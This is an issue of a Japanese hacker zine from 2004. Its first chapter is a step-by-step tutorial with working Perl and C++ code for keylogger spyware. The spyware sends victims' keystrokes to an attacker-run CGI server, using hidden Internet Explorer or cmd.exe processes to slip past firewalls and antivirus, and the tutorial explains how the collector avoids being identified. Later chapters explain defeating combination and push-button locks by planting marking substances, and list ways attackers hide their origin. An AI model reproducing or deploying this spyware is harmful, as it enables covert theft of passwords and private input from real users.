[-]=======================================================================[-] Wizard Bible vol.9 (2004,4,16) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章:簡易スパイウェアの作成 〜Windows篇〜 Kenji Aiko 著 ○第2章:パズル・ロックの開錠 Defolos 著 ○第3章:匿名化の歴史とアタックの歴史 IPUSIRON 著 ○第4章:DJ&DTM 速報&能書き MaD 著 ○第5章:お知らせ ○第6章:著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: 簡易スパイウェアの作成 〜Windows篇〜 --- 著者:Kenji Aiko x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  スパイとは敵の本拠地に味方のふりをして侵入し、敵のさまざまな情報を味方 に渡すというなんとも危険な職業です。おそらく彼らは頭脳明晰であり、運動神 経抜群、そして渡辺謙クラスの演技力を持つ、それはもうすごい人でしょう。さ て、ソフトウェアにもスパイに似たようなものがあります。それがスパイウェア です。スパイはとてもすごい人かも知れませんが、スパイウェアはそれほどすご い技術ではありません(笑)。今回はWindows用の簡易的なスパイウェアを作りま す。OSはWindowsXPを利用しています。コンパイラはVC++.NETで確認ずみです。前 提となる知識は、Windowsプログラミング(特にWin32API)に関してある程度の知 識があることと、TCP/IPを利用したプログラムを組んだことがあること(簡単な クライアントプログラムを作ったことがあるなど)、そしてCGI/Perlを多少理解 していることです。 ■0x02.) スパイウェアとは  IT用語辞書e-Words(http://e-words.jp/)によれば、スパイウェアとはパソ コンを使うユーザの行動や個人情報などを収集したり、マイクロプロセッサの空 き時間を借用して計算を行ったりするアプリケーションソフトのこととされてい ます。  分かりやすく解釈するならば「他人のPCに保存されている情報を収集するソ フト」ということでしょう。まさにスパイなわけですが、ウイルスやトロイ、バ ックドアなどと違うところは、あくまで情報を収集するだけであり、任意のプロ グラムを実行させたり、破壊活動を行ったりしないことです。ファイルを改竄し たり、外部からの侵入を許すプログラムではなく、ただPC内の情報を外部に漏 らすだけのプログラムといえます。 ■0x03.) 概要  インターネットでもっとも身近なプロトコルといえばおそらくHTTPでしょう。 このプロトコルを利用してPC内部の情報を外部に送信するプログラムを作成 します。どういった仕組みで行うのかを以下に示します(図1)。 (1.収集者が運営するHPにデータ保存を行うCGIを設置) +--------+(4.取得)+-----------------------------------+ | 収集者 |<---------| HTTPサーバ(データを保存するCGI) | +--------+ +-----------------------------------+ | | ↑(3.スパイウェアがCGIにアクセス) |(2.なんらかの方法で仕込む) | +-----------------------------------+ +--------------->| ターゲットPC(スパイウェア設置)| +-----------------------------------+ (図1)  仕組みとしてはシンプルなものです。スパイウェアはターゲットPCのなかで こっそりとHTTPクライアントとして動作し、情報をCGIに渡していきます。そのC GIは例えばクエリ文字列をファイルに保存するようなものにしておいて、スパイ ウェアはターゲットPCの情報をクエリ文字列にいれてHTTPクライアントとして CGIにアクセスします。CGIはクエリ文字列をファイルに保存。PCの情報はサー バにファイルとして保存されて、収集者はHPからファイルをDLすることによ ってターゲットPCの情報を閲覧することができます。  では最初にHTTPサーバにおくべきCGIを作成します。これはクエリ文字列(HP アドレスの'?'以降の文字列)を保存するだけの簡単なものにします。ログ閲覧の ために、クエリに"log"という文字列を渡すとファイルに保存されているデータを 出力するようにします。 ----- save.cgi #!/usr/bin/perl $LogFile = 'log.txt'; $data = $ENV{'QUERY_STRING'}; print "Content-Type: text/html\r\n\r\n"; print << "HEAD"; spyware test HEAD if( $data eq "log" ) { print '
' . "\n";
    open( RD, $LogFile );
        @lines = ;
        close( RD );
    foreach( @lines ) {
        print $_;
    }
    print '
' . "\n"; }elsif( $data ) { open( WR, ">>$LogFile" ); flock( WR, 2 ); print WR "$data\n"; close( WR ); } print << "EOF";

Hello! And Goodbye!!

EOF exit; -----  短くするために改行のみの行を省きました。読みにくいですけど、短いので頑 張ってよんでください。CGIプログラムを組んだことがある方なら数分で理解でき ると思います。前準備はこれだけです。  では、スパイウェアを作りましょう。 ■0x04.) HTTP(HyperText Transfar Protocol)  save.cgiのあるサーバのポート80番にアクセスしデータを渡すプログラムを作 成します。CGIにはターゲットPCのキーログを渡すことにします。キーログは GetAsyncKeyStateを利用することにします。HYDEをdefineするとWindowが非表示 になります。 +--- spy01.cpp ------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy01.cpp | +--------------------------------------------+ ----- BOOL SendLogData(char *MainMemory, UINT len) { SOCKET sock; if((sock = ServConnect(HOST_NAME)) == -1){ return TRUE; } char *SendAllData = new char[len + (int)strlen(FILE_PATH) + 32]; wsprintf(SendAllData, "GET %s?%s HTTP/1.0\r\n\r\n", TEXT(FILE_PATH), MainMemory); send(sock, SendAllData, (int)strlen(SendAllData), 0); delete []SendAllData; shutdown(sock, SD_BOTH); closesocket(sock); WSACleanup(); return FALSE; } -----  SendLogData関数がキーログデータの送信を受け持ちます。ServConnectは接続 処理をまとめたものです。ホストを渡すとソケットを返してくれます。この関数 のソースはシンプルなので適当に読んでください。MainMemoryにはキーログのデ ータが入り、lenにはその長さが入ります。これらをSendAllDataにまとめて送信 します。  ではでは、この関数の呼び出し元に行きましょう。 ----- DWORD WINAPI Logger(LPVOID lpvoid) { DATA *Data = (DATA *)lpvoid; UINT len = 0; ....... ........(中略) ......... if( !(TEXT_SIZE > len) ){ if(SendLogData(MainMemory, len)){ MessageBox(Data->hWnd, "HTTPエラー", "Error", MB_OK); DestroyWindow(Data->hWnd); } ZeroMemory(MainMemory, sizeof(MainMemory)); len = 0; } Sleep(100); } return 0; } -----  中略の部分にはGetAsyncKeyState関数でのどす黒いキーロギングのソースが並 びます(^^。フックを利用してもよいのですが、メンドクサイのでとりあえずこれ でいきましょう。  Logger関数は、スレッドとして作成され処理されています。  「WINAPI」がついてる関数は、スレッドとして実行される関数のようですが詳 しくはしらないので気になるならば調べてみてください。  Sleepで100ミリ秒待ってるので、つまり0.1秒ごとにキーの入力を調べてます。 しかし。0.1秒は以外に長いもので、結構キーストロークを見逃します。やはり 実用的にするならばフックを利用したほうがよさそうですね。  プログラム自体は単純で、TEXT_SIZEとlenが同じになったら、即ちMainMemory が埋まったら、MainMemoryにはいっている文字列を送信するためにSendLogData に渡します。  そして、ゼロクリアして再び、MainMemoryに溜め込みます。  TEXT_SIZEはプログラムの最初に15としているので15文字溜まったらCGIに送信 されます。気にいらないなら適当に変更してもよいです。  では、次はこの関数を実行したスレッド作成部分にいきます。 ----- case WM_CREATE: Data.hWnd = hWnd; Data.ThreadFlag = TRUE; DWORD ID; if((Thread = CreateThread(NULL, 0, Logger, (LPVOID)&Data, 0, &ID)) == NULL){ MessageBox(hWnd, "スレッドが作成できませんでした", "Error", MB_OK); DestroyWindow(hWnd); } -----  WM_CREATEなので、つまりプログラム実行直後ですね。もちろんWM_DESTROYに も後始末の処理があります。CreateThread関数に関しては、WBvol.8を参照して ください。  では、実際にテストしてみます。  まず、save.cgiをサーバ(適当なCGI可の無料HPスペースで十分ですが私は自 サバで試しました)に設置して、spy.cppを自分のPCで実行します。spy.cppは HOST_NAMEとFILE_PATHをそれぞれ適当なCGIパスに変更してください。実行したあ とテキストエディタなど(特になんでもいいです)に数行(15文字以上)文章を 入力するとサーバ側にキーログのファイルが作成されるはずです。見事、ターゲ ットPCのキーログを自分のHPスペースに保存されてるはずです。あとはFTPや ら繋いでファイルを収集するだけでターゲットPCのキーログが取得できます。  このようなスパイウェアは前回の記事で作成した「サーバとして稼動しバック ドア的な機能を提供するプログラム」(trojan.cpp)のように任意のプログラム を実行したりといったパワフルなことはできません。しかし、たとえプログラム (スパイウェア)が見つかったとしても収集者を特定することは困難になるはず です。何故ならtrojan.cppの場合、攻撃者はターゲットPCに直接アクセスしな ければならないので、攻撃者のIPアドレスがターゲットPCに渡されることに なります(もちろんproxyを経由すればよいですけど、telnetの串って少ないじ ゃないですか^^;)。ところが、図1のような仕組みで情報を取得していればタ ーゲットPCに残るのはHTTPサーバのアドレスのみです。適当なメールアドレス で無料HPスペースを取得してデータ収集を行っていたならば、たとえスパイウ ェアが見つかっても収集者を特定するのは難しいでしょう。しかもtrojan.cppと 違い直接アクセスするわけではないので、仕込みさえすればあとは何もせずに情 報がサーバに溜まっていくわけです。地味ですが、なかなか面白いですよね(^^;。 ■0x05.) Internet Explorer  さて、HTTPを利用して外部にデータを送信する仕組みは分かったと思いますが、 実は「勝手にソケットとか飛ばしたら警告をしやがるアンチウイルスソフトやフ ァイヤーウォールがある」らしいんですよ。いやあんまり知らないんですけど知 人が言ってたので。なのでプログラムの中でソケットを生成するわけにはいかな い。しかも残念ながら私のPCにはワクチンソフトもファイヤーウォールも入っ てないので、本当に警告がでるかテストすることもできないわけなんです。だか らここからは推測になってしまいますが、多分そういうソフトはプログラム内で ソケットを直接扱ってるから文句を言うわけであって「Internet Explorerから 利用してやれば何もいわなくなるんじゃないかな?」と思ったわけです。  Internet Explorerの絶対パスはWindowsXPなら"C:\Program Files\Internet Explorer\iexplore.exe"です。無い場合はレジストリの"HKEY_LOCAL_MACHINE\SO FTWARE\Classes\Applications\iexplore.exe\shell\open\command"にパスが記し てありますので参照してください。 ----- C:\...\kenji>cd C:\Program Files\Internet Explorer\ C:\Program Files\Internet Explorer>iexplore.exe C:\Program Files\Internet Explorer> C:\Program Files\Internet Explorer>iexplore.exe http://kenjinet.s26.xrea.com/ C:\Program Files\Internet Explorer> -----  IEが起動します。HPアドレスを引数に渡してやることができます。ソケッ トではなくIEを利用して(IEも内部でソケットを生成してます)データを送 信する概要を以下に示します(図2)。 +-----------------------------------+ | HTTPサーバ(データを保存するCGI) | +-----------------------------------+ ↑(接続する) +---------------------+(生成)+---------------------+ | spyware (spy02.cpp) |------->| Internet Explorer | +---------------------+ +---------------------+ (プロセス1) (プロセス2) (図2)  spy01.cppはプログラムの中でHTTPを利用してアクセスしてましたがspy02.cpp はCGIへのアクセス処理自体をIEに任せます。よって送信したいデータ(キー ログ)はすべてIEに渡すことになります。そしてもちろんIEのWindowは非表 示とします。これによって内部でIEが起動しこっそりと情報をサーバに送信す るスパイウェアの完成です。たとえアンチウイルスソフトやファイヤーウォール が外部への情報漏れをとめようとしても、IEを利用しているならばそう簡単に 防ぐことはできないでしょう。おそらくファイヤーウォールは貫通するはずです。 なぜならIEを利用しているということは普通にブラウザでインターネットを閲 覧している状態と変わらないのですから。 +--- spy02.cpp ------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy02.cpp | +--------------------------------------------+  接続処理を担当するServConnect関数はなくなりました。かわりにSendLogData 関数が長くなりました。 ----- BOOL SendLogData(char *MainMemory, UINT len) { int SendAllDataLen; SendAllDataLen = (int)strlen(PRGRM_NAME); SendAllDataLen += (int)strlen(HOST_NAME); SendAllDataLen += (int)strlen(FILE_PATH); SendAllDataLen += len; char *SendAllData = new char[SendAllDataLen + 16]; wsprintf(SendAllData, "%s http://%s%s?%s\r\n", TEXT(PRGRM_NAME), TEXT(HOST_NAME), TEXT(FILE_PATH), MainMemory); -----  SendAllDataが実行すべき文字列になります。まず、IEの絶対パス、空白を はさんで第一引数に「http://ホスト/パス?送信したいデータ」となります。サ ーバにおいている保存を受け持つCGIはsave.cgiです。 ----- STARTUPINFO SI; ZeroMemory(&SI, sizeof(SI)); SI.cb = sizeof(SI); SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; SI.wShowWindow = SW_HIDE; PROCESS_INFORMATION PI; if(CreateProcess(NULL, SendAllData, NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI) != TRUE){ return TRUE; } -----  プロセスを生成しています。これがIEの起動になりますのでWindow(IE) は非表示にしておきます。CreateProcess関数の説明はWBvol.8を参照してくださ い。 ----- char Title[256]; wsprintf(Title, "%s - Microsoft Internet Explorer", TEXT(FILE_TITLE)); HWND ieWindow; if((ieWindow = FindWindow(NULL, Title)) == NULL){ return TRUE; } PostMessage(ieWindow ,WM_CLOSE, 0, 0); WaitForSingleObject(PI.hProcess, 3000); CloseHandle(PI.hProcess); delete []SendAllData; return FALSE; } -----  ここはIEのWindowを探す処理を行っています。IEのWindowタイトルは「H Pのタイトル - Microsoft Internet Explorer」となりますので(例えばIEで Wizard Bibleを閲覧してるなら「Wizard Bible - Microsoft Internet Explorer」 ですよね)それをTitle変数にいれてます。そしてFindWindow関数でその該当す るWindow(つまりIE)を検索します。もしそういうタイトルのWindowが存在し なかったなら何かしらのエラーなのでTRUEを返します。存在したならサーバ上の CGIにデータ送信を完了したということなのでPostMessageでWM_CLOSEを送信し終 了させます。あとはWaitForSingleObjectでプロセスの終了を受け取ってハンド ルを閉じます。  さて、これを実行してみてください。15文字のキーログを取得しデータを送信 するときにマウスが「砂時計」になっちゃいます(なりませんか?)。個人的な 見解と偏見によるとおそらくIE起動に処理がかかってるんだろうなと思います が、こればっかりはどうしようもありません(^^;。15文字ごとに起動されちゃう ので、このような頻度で砂時計がでてきたら「もしかしたらウイルスに感染した かも?」という風に気づいちゃう人がでてくるかもしれないのでなんとかしたい です。まぁ文字送信の単位を15文字ではなく256文字くらいにしてもよいのです が、あまり長いとログの更新が遅れるので、例えばダブルクリックをフックして 送信するというようにするなどがよいかもしれません。ダブルクリックをする場 合はだいたいプログラムの起動なわけですので砂時計がでても「起動しているプ ログラムが重いのかな?」くらいですむでしょうし。IEを利用してる分アンチ ウイルスソフトやファイヤーウォールには引っかかりにくいと思いますが、いろ いろと融通がきかないのは仕方ないです。 【編注】別のアプローチ(根本的な考えは同じ)として、FindWindowでウィンド ウハンドルを取得してから、GetWindowThreadProcessldでスレッドIDを取得し、 SetWindowsHookExでWindowsフックを設定し、PostThreadMessageでDLLをプロセ スに読み込ませることでも実現できます。DLL extraction(DLL抽出)というテ クニックです。 ■0x06.) getコマンド  HTTPを利用してインターネット上のページを取得するのにもっともよく利用さ れているプログラムはIEかもしれませんが、ページを取得するだけならコマン ドプロンプトからgetコマンドを利用しても同様のことができます(もちろんこ ちらはCUIですけどね、故に軽いです)。 ----- C:\...\kenji>get http://kenjinet.s26.xrea.com/ ......... ...(省略)... ............ C:\...\kenji> -----  IEではなくgetコマンドでも同様のことが可能でしょう。ということで、 spy02.cppをgetコマンド用に書き換えたspy03.cppを作ってみます。さらに、キー ロギングの精度を上げるためにフックを利用します。 +---------------------------------------------+ | http://kenjinet.s26.xrea.com/spy/keyhook.h | | http://kenjinet.s26.xrea.com/spy/keylog.cpp | +---------------------------------------------+  キーをフックするDLLです。前回(WBvol.8)使ったhookDll.cppやkeyhook.hと 同じです。 +--------------------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy03.cpp | +--------------------------------------------+ ----- case WM_CREATE: if(MySetHook()) { DestroyWindow(hWnd); } break; case WM_KEYHOOK: c = (char)wParam; if(c >= 'A' && c <= 'Z') { MainMemory[len] = c, len++; } if( !(TEXT_SIZE > len) ){ if(SendLogData(MainMemory, len)){ DestroyWindow(hWnd); } len = 0; } break; case WM_DESTROY: MyEndHook(); PostQuitMessage(0); break; -----  WM_CREATEでMySetHookを呼び、WM_DESTROYでMyEndHookを呼んでいます。どち らもDLL側の関数でキーフックの開始、終了を制御します。WM_KEYHOOKはフック されたキーをもらいますのでA-Zのいずれかの文字ならばMainMemory変数に保存 させます。一定の長さが溜まったらSendLogDataに渡すという部分は同じです。  SendLogData関数はまずCreateProcessでcmd.exeを起動させます。そして、 cmd.exeの標準入力に"get http://localhost/save.cgi?keycode"というような送 信処理を任せる文字列を入力します。よってcmd.exeをあらかじめパイプで繋い でおく必要があります。 ----- PROCESS_INFORMATION PI; if(CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI) != TRUE){ CloseHandle(fd_read); CloseHandle(fd_write); CloseHandle(pfd_in[R]); CloseHandle(pfd_out[W]); return TRUE; } -----  ここで、プロセスを起動しています。この処理の前に標準入出力をパイプで繋 ぐ処理があります。このあとに標準入力にデータを渡し、cmd.exeを終了させる ためにさらに"exit\r\n"を入力してプロセスを終了します。 ----- DWORD sLen; WriteFile(fd_read, SendAllData, (int)strlen(SendAllData), &sLen, NULL); FlushFileBuffers(fd_read); WriteFile(fd_read, "exit\r\n", 6, &sLen, NULL); FlushFileBuffers(fd_read); WaitForSingleObject(PI.hProcess, 3000); -----  こんな感じです。パイプやプロセス生成、スレッドといったものは前回の記事 で説明していますので今回は省きます。実行してみると、IE版と同様にデータ をサーバ(save.cgi)に送信できることが分かります。  さて、これで一応ひととおり終了です。今回は3つの方法でスパイウェアを作 ってみました。といってもすべてHTTP関連でしたが、もちろんメール送信にして もよいです。SMTPでログをメールで送るなんてのでもよいと思いますし、CGI側 でsendmailを起動してメールで送るという形でも面白いでしょう。他にも実現方 法はいろいろとあると思いますので考えてみてください。 ■0x07.) 最後に  さて、いかがだったでしょうか。今回は内部のデータを外部に送信するソフト ウェアを作ってみました。ご覧のとおりスパイウェアといっても実現方法はたく さんあります。今回はキーログを送信してみましたが、もちろん任意のファイル やお気に入りのHPアドレスなど他にもさまざまな情報に対応できると思います。 タイトルは違えど前回の記事とネタは似てますのでトロイの機能追加などをして みても楽しめるかと思います(というか私はそうやって楽しんでました^^)。さ て最後になりましたがここまで付き合って読んでくださった方本当に有り難うご ざいました。  では、また会う日まで... x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: パズル・ロックの開錠 --- 著者:Defolos x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) パズル・ロックの種類  一般的なパズル・ロックには以下の2つのタイプがあります。 ●セサミ・ロック:数字を特定にあわせることで開錠するタイプ  数字の書かれたダイヤルを回し、特定の数字に揃えることで錠を開けるもので す。例えば、自転車のチェーン錠、アタッシュケースなどに多く利用されています。 ●押しボタン式:ボタンを特定の順番で押すことで開錠するタイプ  数字の書かれた特定のボタンを特定の順番で押すことで錠を開けるものです。 残念ながら押しボタン錠には効果的な開錠方法がありません。詳しくは"■0x05.) 押しボタン錠の開錠"をご参照ください。 ■0x02.) セサミ・ロックの構造  セサミ・ロックの構造を理解するには100円ショップで買ってきた物を分解す るのが手っ取り早いでしょう。分解はとても簡単で、方法も一目でわかると思い ますので省略します。分解したものを参照しながら読んでください。  ダイヤルに差し込む方をボルトと言います、ボルトにはいくつかのピンと呼ば れる突起がついています。鍵を掛けるときはダイヤル内に刻まれたスロットが揃 っているので奥まで差し込むことができ、その後ダイヤルを適当に回してロック します。ロックするためにダイヤルを回すことでスロットの位置がばらばらにな り、正しい数字を知っていないと開錠できなくなります。 ■0x03.) セサミ・ロックの開錠  パズル・ロックは時間と根性さえあれば誰でも開錠できます。コンピュータの パスワードクラッキング技術ブルート・フォース・アタックのように手当たりし だいに試していけば、いずれは正しい数字に辿り着けるでしょう。しかし、10000 通り一つずつ確かめていくと5時間は掛かると言われています。よほどの根気が なければつらいですね。そこでスロットの位置をひとつずつ予測していく「さぐ り」を入れることになります。なお、ここでは自転車のチェーン錠を使うことと します。 ●さぐりを入れる前に  実際に開錠を試みる前に、まずはじめに一番右もしくは一番左のダイヤルを一 回ししてみます。面倒くさいから一番端のダイヤルしか回さない、という人は意 外と多いものです。まず初めにチェックすべきポイントでしょう。これで開けら れない場合は以下に説明する「さぐり」を入れる必要があります。 ●さぐり   錠を左右に引っ張りながらダイヤルを回していくと、一定の数字のところで回 りにくくなったり、妙な感覚を得られるところがあります。この数字の場所がス ロットの位置です。しかし、この方法はピンとダイヤルのわずかな隙間によって、 成り立ちますので、磨耗の少ない新しい錠では非常に微細な感覚しか得られませ ん。   以上が一般的なさぐりの入れ方です。  得られる感覚が非常に微量という点ではかわりありませんが、私がよく使うさ ぐりの入れ方も紹介します。  まず、左端(ボルトを右側とした場合)のダイヤルを適当な数字にあわせます。  左右に引っ張りながら二番目(左から数えて)のダイヤルを回していきます。 このときの回しやすさを覚えておき、左端のダイヤルをひとつ進めます。  また、二番目のダイヤルを回していきますが、このとき前と比べて少し回しづ らくなったようなら左端のダイヤルの数がスロットである可能性が高いようです。 前と比べても同じようなら、また左端のダイヤルを進め二番目のダイヤルを回し ていく・・・  このようにして全てのダイヤルのスロットを探り当てて開錠します。 ■0x04.) ちょっとしたコツ  開錠を試みる前に外側からでも油をさしておくと、感覚がつかみやすくなりま す。また、回転が滑らかになり指が痛くなりにくいです。油をさしておかないと、 5分以上もダイヤルを回し続けることは珍しくありませんので、すぐに指が痛く なります。また、所々で引っかかるので感覚もつかみにくいようです。 ■0x05.) 押しボタン錠の開錠  押しボタン錠には有効な開錠方法がありません。使われているボタンを推測し、 あとは総当りで試していきます。ボタンを推測するにはボタンに付着した汚れや 油分などを頼りにするしかありませんが、うまいぐあいに汚れがついているとは 限りません。そこで、その状況を故意に作ることで汚れを見やすくします。錠に ついている汚れを拭き取り、その錠の持ち主が錠を触る前に必ず触れる場所に薄 く油を塗っておきます。これで押されたボタンは予測できますので、あとはその ボタンの組み合わせを一つ一つ試していきます。また、初めに押すボタンには多 くの油分が付着しますので、最初のボタンは予測が簡単だと思います。 【編注】郵便物、お札、外国の切手などにブラックライトの光を当てると、無色 の蛍光塗料が青白く光ります。ブラックライトとは、特殊な蛍光管で、目に見え る波長の電磁波をほとんど発しません。そのため、塗ってある無色の蛍光塗料だ けが光って見えるわけです。この無色の蛍光塗料を押しボタン錠にあらかじめ塗 っておきます。数週間後、押しボタン錠の前に現れ、ブラックライトを近づけて みます。すると、よく押されている数字キーの塗料が他から比べて落ちかけてい るはずです。例えば、その押しボタン錠が4桁の暗証番号だったとします。0〜9 と「*」と「#」の合計12キーあったとしたならば、総当りで調べるとしたら、最 悪の場合12^4=12×12×12×12=20,736回試すことになってしまいます(本来、 「*」や「#」は暗証番号としてほとんど使われないから、10^4=10,000回が妥当)。 そこで、蛍光塗料を使った方法で、落ちかけている数字キーが4つあったとしま す。そうすると、この数字キーの4つの組み合わせで4桁の暗証番号ということな ので、重複を考える必要がなくなり、4!(4階乗)=4×3×2×1=24通りに絞り 込めます。これなら総当りしても5分程度で終わるはずです。また、落ちかけて いる数字キーが4つではなく、3つ、2つ、1つだったら、重複している数字がある ということですが、どちらにせよ4桁に代わりはありません。つまり、落ちかけ ている数字キーが3つならば18通り、2つならば14通り、1つならば1通りになりま す(計算間違ってたらごめん)。ちなみに、ブラックライトは乾電池で動くタイ プやAC100Vで動くタイプがあり、およそ5,000円前後で売られているようです。 小型の乾電池で動作するタイプなら、オークションで2,000円ぐらいであります。 【編注】きれいに汚れをふき取ってから、数日後に指紋検出を行い指紋がよくつ いている数字キーからも上記同様に推測される暗証番号が絞り込めるはずです。 ■0x06.) 最後に  パズル・ロックの開錠方法は知っていると何かと便利ですよ。私はよく自転車 の(もちろん自分のですよ)錠の番号を忘れてしまいますので、とても重宝して います。みなさんも自転車で遠くまでサイクリングに来たが、錠の番号を忘れて しまって途方にくれた・・・というような経験はありませんか。  あれ? 私だけでしょうか? x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: 匿名化の歴史とアタックの歴史 --- 著者:IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) 匿名化の歴史  アタックと匿名化は切っても切れない関係です。アタックがうまくいったとし ても、匿名化がうまく為されていないと、すぐにアタック元がばれて、逆に追跡 される可能性があるからです。  昔から匿名化を実現化させる環境を多く手に入れられることが、一つのステー タスでした。最近は、ネットカフェや無線LANなどの登場により、比較的匿名化 の環境を手に入れやすくなってきました。  そこで、匿名化の環境の移り変わりを解説しながら、最近ホットな他人の無線 LANを経由することによる匿名化、さらには今話題のSoftEtherを利用した匿名化 について、触れたいと思います。 ●匿名化の環境の移り変わり 1:「ピンクまたは緑の公衆電話+音響カプラー」時代  インターネットが登場した当時、匿名性を追求しようとすると、ピンクまたは 緑の公衆電話に音響カプラーを使うという手が常套手段でした。  音響カプラー(acoustic coupler)とは、電話回線でデータ通信を行う装置の 一種です。通常のモデムは、スピーカを介さず直接電話回線に送りますが、音響 カプラーはモデムで合成された音声信号をスピーカから出して、電話機の受話器 に送り込みます。音響カプラーをピンクの公衆電話の受話器に装着して、データ を電話回線を通じて流すことができます。  モジュラージャックの無い電話で通信を行う時は、音響カプラーを使用します。 例えば、緑色の公衆電話などです。黒電話には、モジュラージャックが付いてま すので、音響カプラー無しで、データの送受信ができます。もちろん、家庭の電 話機にも使用可能です。  特に、海外に行く場合に重宝されます。国によっては、ホテルなどでもモジュ ラージャックがついてない電話機が多く使われている可能性があります。ただし、 イギリスの公衆電話は、受話器の形が独特らしくて、装着できない場合が多いこ とがあります。 2:「黒の公衆電話+ノートPC」時代  次に、黒の公衆電話にノートPCを接続してインターネットを行う時代が訪れま す。  黒の公衆電話とはデジタル公衆電話のことです。デジタル公衆電話は回線をISDN 対応とし、多機能化、高付加価値化、さらに保守の効率化、簡便化などのディジ タル技術を搭載した公衆電話です(図2参照)。1990年(平成2年)3月に登場し ました。INSネット64を使用しているため、受話器で話をしながら同時に携帯情 報端末やノート型パソコンなどを接続して、データ通信もできる1台2役をこなし ます。遠隔監視システムを結び、故障時のきめ細かな自動診断とその結果に基づ いた速やかな故障修理の手配が行えます。 3:「インターネットカフェ」時代  数年前頃からインターネットカフェが流行し始めました。流行しだすと早速そ れを悪用した事件も発生します。発覚した事件で数十ありますが、実際にはもっ と多くの事件が発生しているはずです(図3参照)。  インターネットカフェのPCやルーターを乗っ取ることによって、さらに高い匿 名性を得ることができます。さらに、トロイの木馬やキーロガーによって、他人 のパスワードを得ることも容易となります。 4:「無線LAN+ノートPC」時代  ここ2,3年で大きく流通した無線LANですが、これも悪用されると勝手にイン ターネットに接続されて匿名化に利用される可能性があります。  インターネットカフェを悪用する場合は直接店に行かなければならないという リスクがありました。しかしながら、無線LANでインターネットカフェにアクセ スできる場所は町を探せば多数あるので、その近くに車で停車して自分のノート PCからインターネットにアクセスできるわけです。このように車で無線LANのAP (アクセスポイント)をWar Driving(ウォードライビング)と呼ばれます。 5:「SoftEtherで仮想ネットワーク」時代  SoftEtherとは、SoftEther.com(http://www.softether.com/jp/)の登 大遊 氏が開発したソフトウェアで、ファイアウォールの存在するネットワーク内のコ ンピュータを手軽に遠隔操作したり、離れた場所にあるネットワークを同士を仮 想ネットワーク(VPN)で接続できるソフトウェアのことです。従来から、同様 なソフトウェアは存在しましたが、SoftEtherはこれまでのソフトウェアよりに 非常に簡単に扱うことができ、さらに日本語ソフトウェアなので、公開と同時に 非常に多くの人に使用されてきました。  このSoftEtherは本来ネットワーク管理目的に使うためのソフトウェアです。 しかし、セキュリティソフトウェアはハックラツールになりえる場合が多く、 SoftEtherもこれに漏れませんでした。  つまり、ターゲットのマシンにSoftEtherをインストールさえできれば、ファ イアウォールの存在を無視してアクセスできるわけです。つまり、昔の時代より 踏み台を確保しやすいというわけです。また、流れるパケットも暗号化できるの で、ターゲットのネットワーク管理者にばれたとしても、通信内容までは漏れる 可能性は低いわけです。 ●まとめ  幾つかの時代を見てきましたが、今の時代が一番手軽かつ匿名性が高いことが 容易に分かります。そして、匿名化だけではなく、ネットワーク回線を乗っ取る ことにより、アタッカーの罪を乗っ取られた相手になすり付けることも簡便にな っていることが、明らかです。  さらに匿名化を高めたければ、幾つもの踏み台を経由して、その間の痕跡を消 すという昔ながらのサーバー侵入の方法もあります。  今後、コンピュータ世界がどのように発達するか分かりませんが、次第に検閲 化されていく可能性もあります。ゆえに、現在はアタッカーにとって極楽のよう な時代と言えなくもないでしょう。 ■0x02.) ハッキングの歴史  流行は日々変化することはすでに既知だと思います。ハッキングの世界でも流 行が存在し、ハッキング事件の流れを追うことでおおよそのトレンドを読むこと ができます。  古今、脆弱なサーバーに侵入するようなアタックは行われていますが、あまり ニュースに取り上げられていません。それはアタッカーが侵入の痕跡を削除し、 さらに他人のサーバーを経由することで追跡を困難にしています。  